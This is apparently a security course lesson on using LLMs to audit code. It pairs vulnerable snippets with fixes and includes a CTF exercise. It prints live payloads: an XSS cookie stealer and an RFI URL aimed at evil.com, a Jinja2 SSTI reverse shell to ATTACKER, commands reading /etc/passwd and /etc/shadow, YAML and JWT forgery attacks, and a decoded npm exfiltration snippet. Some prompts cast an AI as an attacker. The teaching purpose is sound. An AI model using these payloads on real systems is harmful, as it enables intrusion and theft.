Using LLMs to find security vulnerabilities in source code faster and more thoroughly than manual review alone.
How to leverage AI for systematic vulnerability discovery in application source code.
Red teams that can audit code find bugs that scanners miss — AI makes this scalable.
Code auditing techniques are for authorized security assessments and CTF competitions. Never exploit vulnerabilities in systems without explicit written permission.
This lesson teaches you to think like an attacker so you can build better defenses. All examples use intentionally vulnerable code for demonstration purposes.
| Aspect | Manual Review | AI-Assisted Review |
|---|---|---|
| Speed | ~200 LOC/hour | ~5,000+ LOC/hour |
| Pattern Recognition | Limited by reviewer experience | Trained on millions of vuln patterns |
| Context Understanding | Excellent — humans understand intent | Good — LLMs follow data flow across files |
| False Positives | Low | Moderate (needs human triage) |
| Novel Vulns | Strong (creative reasoning) | Weaker (pattern-based) |
| Consistency | Varies with fatigue | Consistent across sessions |
The best approach is AI-assisted human review — use AI for breadth and speed, humans for depth and creativity.
| # | Category | What to Look For |
|---|---|---|
| A01 | Broken Access Control | Missing auth checks, IDOR, privilege escalation |
| A02 | Cryptographic Failures | Hardcoded keys, weak algorithms, plaintext secrets |
| A03 | Injection | SQLi, XSS, command injection, LDAP injection |
| A04 | Insecure Design | Missing rate limits, no input validation architecture |
| A05 | Security Misconfiguration | Debug mode, default credentials, verbose errors |
| A06 | Vulnerable Components | Outdated libraries with known CVEs |
| A07 | Auth Failures | Weak passwords, missing MFA, session issues |
| A08 | Data Integrity Failures | Insecure deserialization, unsigned updates |
| A09 | Logging Failures | Missing audit logs, log injection |
| A10 | SSRF | Unvalidated URLs, internal network access |
@app.route('/user')
def get_user():
username = request.args.get('username')
query = f"SELECT * FROM users WHERE username = '{username}'"
result = db.execute(query)
return jsonify(result.fetchall())
Line 3: User input username is interpolated directly into an SQL query via f-string. An attacker can supply ' OR '1'='1' -- to dump the entire users table, or use UNION SELECT to extract data from other tables.
@app.route('/user')
def get_user():
username = request.args.get('username')
query = "SELECT * FROM users WHERE username = ?"
result = db.execute(query, (username,))
return jsonify(result.fetchall())
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`
<h1>Search Results</h1>
<p>You searched for: ${query}</p>
<p>No results found.</p>
`);
});
Line 4: The query parameter q is reflected directly into HTML without sanitization. An attacker can inject <script>document.location='https://evil.com/?c='+document.cookie</script> to steal session cookies.
const escapeHtml = require('escape-html');
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q || '');
res.send(`
<h1>Search Results</h1>
<p>You searched for: ${query}</p>
`);
});
@app.route('/ping')
def ping():
host = request.args.get('host')
output = os.popen(f'ping -c 3 {host}').read()
return f'<pre>{output}</pre>'
Line 3: User input is passed directly to os.popen(). An attacker can supply ; cat /etc/passwd or $(whoami) to execute arbitrary system commands with the web server's privileges.
import subprocess, re
@app.route('/ping')
def ping():
host = request.args.get('host', '')
if not re.match(r'^[\w.\-]+$', host):
return 'Invalid hostname', 400
result = subprocess.run(
['ping', '-c', '3', host],
capture_output=True, text=True, timeout=10
)
return f'<pre>{result.stdout}</pre>'
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
response = requests.get(url)
return response.text
Line 3: The server fetches any URL the user provides. An attacker can request http://169.254.169.254/latest/meta-data/ to access AWS instance metadata, or http://localhost:6379/ to interact with internal Redis. The response is returned directly, leaking internal data.
from urllib.parse import urlparse
import ipaddress
ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com']
@app.route('/fetch')
def fetch_url():
url = request.args.get('url', '')
parsed = urlparse(url)
if parsed.hostname not in ALLOWED_HOSTS:
return 'Host not allowed', 403
if parsed.scheme not in ('http', 'https'):
return 'Invalid scheme', 400
response = requests.get(url, timeout=5)
return response.text
app.get('/download', (req, res) => {
const filename = req.query.file;
const filepath = path.join(__dirname, 'uploads', filename);
res.sendFile(filepath);
});
Line 2-3: Despite using path.join(), an attacker can supply ../../etc/passwd to read arbitrary files. path.join('/app/uploads', '../../etc/passwd') resolves to /etc/passwd.
app.get('/download', (req, res) => {
const filename = path.basename(req.query.file || '');
const filepath = path.join(__dirname, 'uploads', filename);
// Verify resolved path is still within uploads directory
if (!filepath.startsWith(path.join(__dirname, 'uploads'))) {
return res.status(403).send('Access denied');
}
res.sendFile(filepath);
});
import pickle, base64
@app.route('/load-session')
def load_session():
data = request.cookies.get('session_data')
session = pickle.loads(base64.b64decode(data))
return f'Welcome back, {session["username"]}'
Line 5: pickle.loads() on user-controlled input allows arbitrary code execution. An attacker can craft a pickle payload that runs os.system('reverse_shell') when deserialized. Python's pickle module is inherently unsafe for untrusted data.
import json, hmac, hashlib
SECRET_KEY = os.environ['SESSION_SECRET']
@app.route('/load-session')
def load_session():
data = request.cookies.get('session_data', '')
sig = request.cookies.get('session_sig', '')
expected = hmac.new(SECRET_KEY.encode(), data.encode(),
hashlib.sha256).hexdigest()
if not hmac.compare_digest(sig, expected):
return 'Invalid session', 403
session = json.loads(base64.b64decode(data))
return f'Welcome back, {session["username"]}'
<?php
$page = $_GET['page'];
include("templates/" . $page . ".php");
?>
Line 2-3: User input controls which file is included. An attacker can use ?page=../../../etc/passwd%00 (null byte for older PHP) for LFI, or ?page=http://evil.com/shell for RFI if allow_url_include is enabled. With PHP wrappers: ?page=php://filter/convert.base64-encode/resource=config to read source code.
<?php
$allowed = ['home', 'about', 'contact', 'login'];
$page = $_GET['page'] ?? 'home';
if (!in_array($page, $allowed, true)) {
http_response_code(404);
exit('Page not found');
}
include("templates/" . $page . ".php");
?>
You are a senior application security engineer performing a
white-box code audit. Analyze the following code for security
vulnerabilities. For each finding, provide:
1. Vulnerability type (CWE ID if possible)
2. Affected line(s)
3. Severity (Critical/High/Medium/Low)
4. Proof-of-concept exploit payload
5. Recommended remediation
Focus on: injection flaws, authentication bypass, access control
issues, cryptographic weaknesses, and data exposure.
Role-based prompting activates the LLM's security domain knowledge, producing structured output that maps to real vulnerability taxonomies (CWE/CVSSv3).
Audit this code against the following checklist:
[ ] SQL/NoSQL injection in all database queries
[ ] XSS in all rendered output
[ ] Command injection in system calls
[ ] Path traversal in file operations
[ ] SSRF in outbound HTTP requests
[ ] Insecure deserialization
[ ] Hardcoded secrets or API keys
[ ] Missing authentication on sensitive routes
[ ] Missing authorization (IDOR)
[ ] Weak cryptographic operations
[ ] Race conditions in concurrent operations
[ ] Information leakage in error messages
For each item, state PASS or FAIL with evidence.
This forces the LLM to systematically check every category rather than reporting only the most obvious findings.
Trace every user-controlled input in this application from
source to sink. Map each input to where it is:
1. Received (source): request parameters, headers, cookies, etc.
2. Processed: validation, sanitization, transformation
3. Used (sink): database queries, shell commands, file ops, HTML output
Flag any path where user input reaches a dangerous sink
without adequate sanitization.
Step 1: "List all routes/endpoints and their HTTP methods"
Step 2: "For /api/admin/*, what authentication is required?"
Step 3: "In the upload handler, trace the filename parameter"
Step 4: "Can the JWT secret be brute-forced? Show the config"
Break complex codebases into focused questions — AI performs better on specific, targeted queries than on "find all bugs."
You are a skilled attacker who has obtained the source code of
this web application. Your goal is to:
1. Gain unauthorized access to admin functionality
2. Extract sensitive data from the database
3. Achieve remote code execution on the server
Analyze the code and describe your attack plan step by step.
For each attack vector, provide the exact HTTP request you
would craft.
Ask the AI: "Can any of these vulnerabilities be chained together for greater impact?" A low-severity info leak combined with an IDOR can become a critical exploit chain.
Run automated scanners first (fast, cheap, catches low-hanging fruit), then use AI for deeper analysis of critical components, and finally do manual review of authentication, authorization, and business logic.
A fast, open-source static analysis tool that supports custom rules. Ideal for red teams because rules are easy to write and share.
# semgrep rule: detect SQL injection in Flask
rules:
- id: flask-sqli
patterns:
- pattern: |
db.execute(f"...{$USER_INPUT}...")
- pattern-not: |
db.execute("...", ...)
message: "Potential SQL injection via f-string interpolation"
severity: ERROR
languages: [python]
# Run Semgrep against a target directory
semgrep --config auto ./target-app/
semgrep --config p/owasp-top-ten ./target-app/
semgrep --config p/python ./target-app/
Feed Semgrep results to an LLM: "Here are the Semgrep findings. Triage each one — which are true positives? Which can be chained together?"
GitHub's semantic code analysis engine. Treats code as data — you query it like a database.
/**
* @name SQL injection from request parameter
* @kind path-problem
*/
import python
import semmle.python.security.dataflow.SqlInjection
from SqlInjection::Configuration cfg, DataFlow::PathNode source,
DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink.getNode(), source, sink,
"This SQL query depends on $@.",
source.getNode(), "user-provided value"
# Create database and run queries
codeql database create my-db --language=python --source-root=./app
codeql database analyze my-db codeql/python-queries --format=sarif-latest
CodeQL excels at taint tracking — following data from untrusted sources to dangerous sinks across function boundaries.
A security linter designed specifically for Python codebases. Fast to run, easy to integrate into CI.
# Install and run Bandit
pip install bandit
bandit -r ./flask-app/ -f json -o results.json
# Run with specific tests
bandit -r ./flask-app/ -t B301,B302,B303,B608
# Common test IDs:
# B301 - pickle usage
# B302 - marshal usage
# B303 - weak hash (md5/sha1)
# B608 - SQL injection (string formatting)
# B602 - subprocess with shell=True
# B501 - requests with verify=False
bandit -r ./app -f json to get machine-readable results| Limitation of Scanners | How AI Helps |
|---|---|
| High false positive rates | AI triages findings by understanding code context |
| Can't find logic flaws | AI reasons about business logic and auth flows |
| No exploit generation | AI can draft PoC payloads for confirmed vulns |
| Limited cross-file analysis | AI traces data flow across entire codebases |
| Rule maintenance burden | AI adapts to new patterns without custom rules |
| No natural language reports | AI explains findings to non-security stakeholders |
Let's audit a realistic Flask application with multiple vulnerabilities.
from flask import Flask, request, render_template_string
import sqlite3, os, pickle, base64
app = Flask(__name__)
db = sqlite3.connect('app.db', check_same_thread=False)
SECRET = "supersecret123" # Hardcoded secret
@app.route('/login', methods=['POST'])
def login():
user = request.form['username']
pw = request.form['password']
q = f"SELECT * FROM users WHERE username='{user}' AND password='{pw}'"
result = db.execute(q).fetchone()
if result:
session_data = base64.b64encode(
pickle.dumps({'user': user, 'role': result[3]})
).decode()
resp = app.make_response('Login OK')
resp.set_cookie('session', session_data)
return resp
return 'Invalid credentials', 401
How many vulnerabilities can you spot? (We'll walk through them next.)
@app.route('/profile')
def profile():
cookie = request.cookies.get('session')
session = pickle.loads(base64.b64decode(cookie))
template = f"<h1>Welcome {session['user']}</h1>"
return render_template_string(template)
@app.route('/export')
def export_data():
fmt = request.args.get('format', 'csv')
filename = request.args.get('name', 'export')
os.system(f'python generate_report.py --format {fmt} --output /tmp/{filename}')
return send_file(f'/tmp/{filename}')
@app.route('/avatar')
def avatar():
url = request.args.get('url')
import requests as r
img = r.get(url).content
return img, 200, {'Content-Type': 'image/png'}
| # | Vulnerability | Location | Severity |
|---|---|---|---|
| 1 | SQL Injection | /login — f-string in query | Critical |
| 2 | Hardcoded Secret | Line 6 — SECRET variable | High |
| 3 | Insecure Deserialization | /profile — pickle.loads() | Critical |
| 4 | Server-Side Template Injection | /profile — render_template_string() | Critical |
| 5 | Command Injection | /export — os.system() | Critical |
| 6 | Path Traversal | /export — filename param | High |
| 7 | SSRF | /avatar — unvalidated URL | High |
| 8 | Plaintext Password Storage | /login — password compared directly | High |
An AI found 8 vulnerabilities in 25 lines of code in under 5 seconds — including the SSTI vulnerability that many scanners would miss.
One of the most powerful vulnerabilities AI can identify — often missed by traditional scanners.
# Vulnerable pattern in Flask
template = f"<h1>Welcome {session['user']}</h1>"
return render_template_string(template)
# Step 1: Detect SSTI — register with username:
{{ 7*7 }}
# Step 2: If "49" appears, confirm SSTI. Read config:
{{ config.items() }}
# Step 3: Remote Code Execution via Jinja2:
{{ ''.__class__.__mro__[1].__subclasses__()[407]('id', shell=True, stdout=-1).communicate() }}
# Step 4: Reverse shell:
{{ ''.__class__.__mro__[1].__subclasses__()[407]('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"', shell=True, stdout=-1).communicate() }}
SSTI in Jinja2 is equivalent to RCE. AI can identify both the vulnerable render_template_string() call and generate the exploitation chain.
const express = require('express');
const { exec } = require('child_process');
const mysql = require('mysql');
const app = express();
const db = mysql.createConnection({
host: 'localhost', user: 'root',
password: 'admin123', // Hardcoded credentials
database: 'myapp'
});
app.get('/user/:id', (req, res) => {
db.query(`SELECT * FROM users WHERE id = ${req.params.id}`,
(err, results) => {
res.json(results);
});
});
app.post('/upload', (req, res) => {
const filename = req.body.filename;
exec(`file /tmp/uploads/${filename}`, (err, stdout) => {
res.send(`File type: ${stdout}`);
});
});
app.get('/redirect', (req, res) => {
res.redirect(req.query.url);
});
| # | Vulnerability | Location | Severity |
|---|---|---|---|
| 1 | SQL Injection | /user/:id — template literal in query | Critical |
| 2 | Hardcoded DB Credentials | Line 7-8 — plaintext password | High |
| 3 | Command Injection | /upload — exec() with user input | Critical |
| 4 | Open Redirect | /redirect — unvalidated redirect URL | Medium |
| 5 | Missing Input Validation | No sanitization on any endpoint | Medium |
# POST /upload with body:
# filename=test.txt; cat /etc/passwd
# Becomes: file /tmp/uploads/test.txt; cat /etc/passwd
curl -X POST http://target/upload \
-d 'filename=test.txt%3B+cat+/etc/passwd'
Modern applications import hundreds of packages. Each is a potential attack vector.
reqeusts instead of requestspackage.json / requirements.txt for suspicious packages*)Analyze this package.json/requirements.txt for supply chain risks:
1. Flag any packages with known CVEs
2. Identify typosquatting risks (similar names to popular packages)
3. Check for overly permissive version ranges
4. Flag packages with post-install scripts
5. Identify packages that request unusual permissions
(network, filesystem, OS access) for their stated purpose
6. Check for packages with very few downloads or recent ownership transfers
# Generate dependency tree for AI analysis
pip freeze > full_requirements.txt
pip-audit --format json > audit_results.json
# For Node.js
npm ls --all --json > deps.json
npm audit --json > audit.json
# Feed both files to an LLM for contextual analysis
AI can identify suspicious patterns in dependency source code that automated tools miss.
// Found in a typosquatted npm package
const { exec } = require('child_process');
const os = require('os');
const dns = require('dns');
const d = Buffer.from('YUhSMGNITTZMeTlsZG1sc0xtTnZiUT09','base64')
.toString();
const e = Buffer.from(d, 'base64').toString();
exec(`curl -s ${e}/c?h=${os.hostname()}&u=${os.userInfo().username}`,
() => {});
// Decoded URL: https://evil.com
// Exfiltrates hostname and username on install
Double base64 encoding, DNS/HTTP calls in install scripts, environment variable harvesting, eval() with encoded strings, and obfuscated URLs are all patterns AI can flag when reviewing dependency source.
semgrep --config auto --json ./app > semgrep.json
bandit -r ./app -f json -o bandit.json
prompt = f"""
Given these scanner findings: {scanner_results}
And the source code: {source_code}
Triage each finding: true positive, false positive, or needs investigation.
For true positives, generate a proof-of-concept exploit.
"""
nginx.conf, docker-compose.yml, or .env filesUse multiple prompting strategies, ask the AI to show its reasoning, and always manually verify critical findings before reporting them.
@app.route('/api/invoice/<invoice_id>')
@login_required
def get_invoice(invoice_id):
invoice = db.execute(
"SELECT * FROM invoices WHERE id = ?", (invoice_id,)
).fetchone()
if not invoice:
return 'Not found', 404
return jsonify(dict(invoice))
The endpoint checks that the user is logged in (@login_required) but never verifies that the authenticated user owns the requested invoice. Any logged-in user can access any invoice by iterating IDs: /api/invoice/1, /api/invoice/2, etc.
@app.route('/api/invoice/<invoice_id>')
@login_required
def get_invoice(invoice_id):
invoice = db.execute(
"SELECT * FROM invoices WHERE id = ? AND user_id = ?",
(invoice_id, current_user.id)
).fetchone()
if not invoice:
return 'Not found', 404
return jsonify(dict(invoice))
import jwt
@app.route('/api/protected')
def protected():
token = request.headers.get('Authorization', '').replace('Bearer ', '')
try:
payload = jwt.decode(token, options={"verify_signature": False})
if payload.get('role') == 'admin':
return get_admin_data()
except jwt.DecodeError:
pass
return 'Unauthorized', 401
Line 6: verify_signature: False means any token is accepted regardless of signature. An attacker can forge a token with {"role": "admin"} using any key — or none at all. The alg: none attack also applies.
# Forge an admin token (no signature needed)
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' # header
echo -n '{"role":"admin","sub":"attacker"}' | base64 | tr -d '=' # payload
# Token: header.payload.
@app.route('/transfer', methods=['POST'])
@login_required
def transfer():
amount = int(request.form['amount'])
to_user = request.form['to_user']
balance = db.execute(
"SELECT balance FROM accounts WHERE user_id = ?",
(current_user.id,)
).fetchone()[0]
if balance >= amount:
db.execute("UPDATE accounts SET balance = balance - ? WHERE user_id = ?",
(amount, current_user.id))
db.execute("UPDATE accounts SET balance = balance + ? WHERE user_id = ?",
(amount, to_user))
db.commit()
return 'Transfer complete'
return 'Insufficient funds', 400
The balance check and deduction are not atomic. Sending multiple simultaneous requests can drain the account below zero. With $100 balance, sending 10 concurrent $100 transfers succeeds for all of them.
AI can audit code in any language. Here are common vulnerability patterns across stacks.
| Language | Common Sink Functions | Vuln Type |
|---|---|---|
| Python | os.system(), eval(), pickle.loads() | RCE |
| Python | render_template_string() | SSTI |
| Node.js | exec(), eval(), Function() | RCE |
| Node.js | res.send() with user input | XSS |
| PHP | include(), system(), unserialize() | RCE/LFI |
| Java | Runtime.exec(), ObjectInputStream | RCE |
| Ruby | system(), send(), ERB.new().result | RCE/SSTI |
| Go | os/exec.Command(), template.HTML() | RCE/XSS |
Don't forget to audit configuration alongside code — misconfigurations are the #5 OWASP category.
# Vulnerable patterns AI should flag:
services:
web:
privileged: true # Container runs as root with full host access
volumes:
- /:/host # Entire host filesystem mounted
environment:
- DB_PASSWORD=hunter2 # Secrets in plaintext
- DEBUG=true # Debug mode in production
ports:
- "0.0.0.0:22:22" # SSH exposed to all interfaces
# Vulnerable patterns:
location /api {
proxy_pass http://backend;
proxy_set_header X-Real-IP $remote_addr;
# Missing: rate limiting, request size limits
}
location ~ /\. { } # Dot files accessible (exposes .git, .env)
Prompt: "Analyze this project structure and identify:
1. The web framework and version
2. The database technology
3. Authentication mechanism
4. All API endpoints with their HTTP methods
5. Any third-party integrations
6. File upload/download functionality"
Prompt: "For each endpoint you identified, classify it as:
- PUBLIC (no auth required)
- AUTHENTICATED (any logged-in user)
- AUTHORIZED (role-based access)
Flag any sensitive endpoints that are PUBLIC or only AUTHENTICATED
when they should require AUTHORIZED access."
Prompt: "For each endpoint, trace the data flow:
1. Where does user input enter? (params, body, headers, cookies)
2. Is it validated or sanitized?
3. Where does it go? (database, shell, template, file system, HTTP)
4. Are there any dangerous function calls in the path?
Provide specific line numbers and exploit payloads."
Prompt: "For each confirmed vulnerability:
1. Write a curl command or Python script to exploit it
2. What is the maximum impact? (data theft, RCE, privilege escalation)
3. Can this vulnerability be chained with others?
4. What would a defender see in logs?"
You've obtained the source code of a web application during a CTF competition. Your mission: find all exploitable vulnerabilities and demonstrate exploitation for each.
from flask import Flask, request, redirect, send_file
import sqlite3, os, hashlib, yaml
app = Flask(__name__)
conn = sqlite3.connect(':memory:', check_same_thread=False)
conn.execute('''CREATE TABLE users
(id INTEGER PRIMARY KEY, username TEXT, password TEXT, role TEXT)''')
conn.execute("INSERT INTO users VALUES (1,'admin',?, 'admin')",
(hashlib.md5(b'FL@gH3r0!').hexdigest(),))
conn.execute("INSERT INTO users VALUES (2,'guest',?, 'user')",
(hashlib.md5(b'guest123').hexdigest(),))
@app.route('/login', methods=['POST'])
def login():
u = request.form.get('username', '')
p = hashlib.md5(request.form.get('password', '').encode()).hexdigest()
row = conn.execute(
f"SELECT * FROM users WHERE username='{u}' AND password='{p}'"
).fetchone()
if row:
return redirect(f'/dashboard?user={row[1]}&role={row[3]}')
return 'Access Denied', 403
@app.route('/dashboard')
def dashboard():
user = request.args.get('user', 'guest')
role = request.args.get('role', 'user')
if role == 'admin':
return f'<h1>Admin Panel</h1><p>Welcome {user}</p>' \
f'<p>Flag: CTF{{y0u_f0und_th3_fl@g}}</p>'
return f'<h1>Dashboard</h1><p>Welcome {user}</p>'
@app.route('/settings', methods=['POST'])
def settings():
config = request.get_data()
settings = yaml.load(config, Loader=yaml.FullLoader)
return f"Settings updated: {settings}"
@app.route('/backup')
def backup():
filename = request.args.get('file', 'backup.tar.gz')
return send_file(f'/backups/{filename}')
@app.route('/health')
def health():
check = request.args.get('cmd', 'uptime')
result = os.popen(check).read()
return f'<pre>{result}</pre>'
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0')
Use AI-assisted code auditing to identify every vulnerability. For each: name the vulnerability type, cite the line, rate severity, and write a proof-of-concept exploit. How many can you find?
| # | Vulnerability | Endpoint | Severity |
|---|---|---|---|
| 1 | SQL Injection | /login | Critical |
| 2 | Broken Access Control | /dashboard | Critical |
| 3 | MD5 Password Hashing | /login | High |
| 4 | YAML Deserialization | /settings | Critical |
| 5 | Path Traversal | /backup | High |
| 6 | Command Injection | /health | Critical |
| 7 | Debug Mode Enabled | app.run(debug=True) | High |
| 8 | Reflected XSS | /dashboard | Medium |
| 9 | Hardcoded Credentials | DB seed | Medium |
| 10 | Host 0.0.0.0 Binding | app.run() | Low |
# The /dashboard endpoint trusts client-supplied role parameter!
curl 'http://target/dashboard?user=hacker&role=admin'
# Response: Flag: CTF{y0u_f0und_th3_fl@g}
# Bypass login with SQLi
curl -X POST http://target/login \
-d "username=admin'--&password=anything"
# Redirects to /dashboard?user=admin&role=admin
# /health endpoint passes input directly to os.popen()
curl 'http://target/health?cmd=id;cat+/etc/passwd'
# Read arbitrary files via /backup
curl 'http://target/backup?file=../../etc/shadow'
# yaml.FullLoader can instantiate Python objects
curl -X POST http://target/settings \
-H 'Content-Type: text/yaml' \
-d '!!python/object/apply:os.popen ["id"]'
# debug=True exposes Werkzeug debugger
# If an error is triggered, interactive Python console is available
curl 'http://target/health?cmd='
# Then access /console for interactive Python shell
# (may require PIN bypass — PIN can be computed from machine-id)
Notice how multiple vulnerabilities provide different paths to the same goal. In a real engagement, having multiple exploitation paths means higher reliability — if one is patched, others remain.
Structure your findings for maximum impact, whether for a CTF write-up or a real penetration test report.
Prompt: "Format these findings as a professional security audit report:
For each vulnerability include:
- Title and CWE ID
- Severity (CVSS 3.1 score and rating)
- Affected component (file, line, function)
- Description (what is the issue)
- Impact (what can an attacker achieve)
- Proof of Concept (exact exploit steps)
- Remediation (specific code fix)
- References (relevant CWE, OWASP pages)
Sort by severity, highest first."
package.jsonLesson 05 — Web Application Vulnerabilities: hands-on exploitation of the vulnerability classes we identified today.